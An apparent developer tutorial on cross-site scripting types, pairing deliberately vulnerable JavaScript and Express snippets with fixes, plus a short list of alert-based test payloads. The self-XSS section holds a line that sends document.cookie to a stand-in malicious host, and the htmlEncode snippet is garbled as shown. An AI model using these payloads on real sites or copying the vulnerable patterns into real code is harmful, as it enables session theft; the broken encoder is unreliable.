Understanding XSS Vulnerability Types
Comprehensive guide to different types of XSS vulnerabilities and prevention techniques.
Introduction to XSS Vulnerabilities
Cross-Site Scripting (XSS) remains one of the most prevalent web security vulnerabilities. This guide provides a detailed breakdown of the main types of XSS attacks, with practical examples and protection strategies for developers.
๐งจ Main Types of XSS Vulnerabilities
1. ๐งพ Stored XSS
Definition: Malicious code is permanently stored on the target server (database, file system) and then displayed to other users when they access the affected page.
๐ Example:
A user submits a comment containing malicious code:
<script>
alert('XSS Attack')
</script>
This comment is saved in the database. When other users view the page with comments, the script executes in their browsers.
Real-world scenario:
// Vulnerable server-side code
app.post('/comments', (req, res) => {
const { comment } = req.body
// No sanitization!
db.saveComment(comment)
})
// Vulnerable rendering
function displayComments(comments) {
comments.forEach(comment => {
// Directly inserting HTML from database
document.getElementById('comments').innerHTML += `<div>${comment}</div>`
})
}
โ Protection:
- Sanitize input data before storing
- Escape HTML characters when displaying (
<
,>
,&
,"
) - Use
textContent
instead ofinnerHTML
- Implement Content Security Policy (CSP)
// Server-side sanitization
import sanitizeHtml from 'sanitize-html'
app.post('/comments', (req, res) => {
let { comment } = req.body
comment = sanitizeHtml(comment)
db.saveComment(comment)
})
// Client-side safe rendering
function displayComments(comments) {
comments.forEach(comment => {
const div = document.createElement('div')
div.textContent = comment // Safe!
document.getElementById('comments').appendChild(div)
})
}
2. ๐ Reflected XSS
Definition: Malicious code is included in a request (usually in URL parameters) and immediately "reflected" back in the server's response.
๐ Example:
A malicious URL:
https://example.com/search?q=<script>alert('XSS')</script>
If the backend directly inserts the search query into the HTML:
<p>Search results for: <span>UNESCAPED-USER-INPUT</span></p>
The script will execute when a user clicks the malicious link.
Real-world scenario:
// Vulnerable Express route
app.get('/search', (req, res) => {
const query = req.query.q
// Directly inserting user input into HTML
res.send(`
<h1>Search Results</h1>
<p>You searched for: ${query}</p>
<div id="results">...</div>
`)
})
// Vulnerable client-side implementation
document.getElementById('results').innerHTML =
'Results for: ' + new URLSearchParams(window.location.search).get('q')
โ Protection:
- Escape output data
- Validate input (allow only expected patterns)
- Never directly insert
location.search
into DOM - Implement CSP headers
// Safer server-side implementation
app.get('/search', (req, res) => {
const query = escapeHtml(req.query.q)
res.send(`
<h1>Search Results</h1>
<p>You searched for: ${query}</p>
<div id="results">...</div>
`)
})
// Safer client-side implementation
const searchElement = document.getElementById('results')
const searchParam = new URLSearchParams(window.location.search).get('q')
searchElement.textContent = 'Results for: ' + searchParam
3. ๐ง DOM-based XSS
Definition: Vulnerability exists entirely in the client-side JavaScript that inserts user-controllable data into the DOM without proper sanitization.
๐ Example:
JavaScript code that directly processes URL fragments:
// Vulnerable code
const hash = location.hash.substring(1)
document.getElementById('output').innerHTML = hash
Exploitation URL:
https://example.com/#<img src=x onerror=alert('XSS')>
The browser executes the onerror
event handler.
Real-world scenario:
// Vulnerable React component
function Profile() {
useEffect(() => {
// Taking username from URL hash and inserting as HTML
const username = window.location.hash.substring(1)
document.getElementById('greeting').innerHTML = `Welcome back, ${username}!`
}, [])
return <div id="greeting"></div>
}
โ Protection:
- Never use
.innerHTML
with user input - Use
.textContent
or.innerText
instead - Sanitize HTML with libraries like DOMPurify
- Properly encode URLs
// Safer implementation
import DOMPurify from 'dompurify'
function Profile() {
useEffect(() => {
const username = window.location.hash.substring(1)
// Option 1: Use textContent (safest)
document.getElementById('greeting').textContent = `Welcome back, ${username}!`
// Option 2: If HTML is needed, sanitize it
const cleanHtml = DOMPurify.sanitize(`Welcome back, ${username}!`)
document.getElementById('greeting').innerHTML = cleanHtml
}, [])
return <div id="greeting"></div>
}
4. ๐ Self-XSS
Definition: User is tricked into executing malicious code in their own browser, usually by pasting into the developer console. This is a social engineering attack rather than a website vulnerability.
๐ Example:
An attacker sends a message:
"Want to see a cool easter egg? Open developer console (F12) and paste this code:"
fetch('https://malicious-site.com/steal?cookie=' + document.cookie)
โ Protection:
- Educate users about risks
- Add console warnings
- Apply HTTP security headers
// Add console warning
console.log('%cWARNING!', 'color:red; font-size:2.5em')
console.log(
'%cDo not paste any code here. It may compromise your account security.',
'font-size:1.5em'
)
5. ๐งฌ Mutation-based XSS
Definition: Code appears safe initially, but DOM parsing or browser corrections mutate it into executable malicious code.
๐ Example:
<math><mi xlink:href="javascript:alert(1)">Click me</mi></math>
Some browsers will "fix" this markup and make the javascript: URL executable.
๐ก๏ธ General Protection Principles
1. Input Validation and Sanitization
Always validate and sanitize user input:
// Server-side validation example
function validateComment(comment) {
// Only allow alphanumeric characters and basic punctuation
return /^[a-zA-Z0-9.,!? ]*$/.test(comment)
}
// Client-side sanitization
import DOMPurify from 'dompurify'
function renderUserContent(html) {
return DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href'],
})
}
2. Output Encoding
Always encode data before inserting it into different contexts:
function htmlEncode(str) {
return String(str)
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
}
// Usage
element.innerHTML = htmlEncode(userInput)
3. Content Security Policy (CSP)
Implement strong CSP headers:
// Express.js example
const helmet = require('helmet')
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", 'trusted-cdn.com'],
styleSrc: ["'self'", 'trusted-cdn.com', "'unsafe-inline'"],
imgSrc: ["'self'", 'data:', 'trusted-cdn.com'],
connectSrc: ["'self'", 'api.myservice.com'],
fontSrc: ["'self'", 'trusted-cdn.com'],
objectSrc: ["'none'"],
mediaSrc: ["'self'"],
frameSrc: ["'none'"],
},
})
)
4. Modern Framework Protections
Most modern frameworks provide built-in XSS protection:
// React automatically escapes values in JSX
function SafeComponent({ userInput }) {
return <div>{userInput}</div> // Automatically escaped
}
// But be careful with these:
function UnsafeComponent({ userInput }) {
return <div dangerouslySetInnerHTML={{ __html: userInput }} /> // Dangerous!
}
5. HTTP Security Headers
Implement additional security headers:
// Express.js with Helmet
const helmet = require('helmet')
app.use(helmet()) // Sets various security headers
// Sets X-XSS-Protection: 1; mode=block
app.use(helmet.xssFilter())
๐ Testing for XSS Vulnerabilities
Automated Tools
- OWASP ZAP
- Burp Suite
- Acunetix
Manual Testing
Test input fields with common XSS payloads:
"><script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
javascript:alert('XSS')
๐ Conclusion
Preventing XSS requires a multi-layered approach:
- Never trust user input
- Always sanitize and encode data
- Implement CSP and security headers
- Use modern frameworks' built-in protections
- Regularly test your application for vulnerabilities
By understanding these different types of XSS and implementing the recommended protection strategies, you can significantly reduce the risk of your application being compromised by cross-site scripting attacks.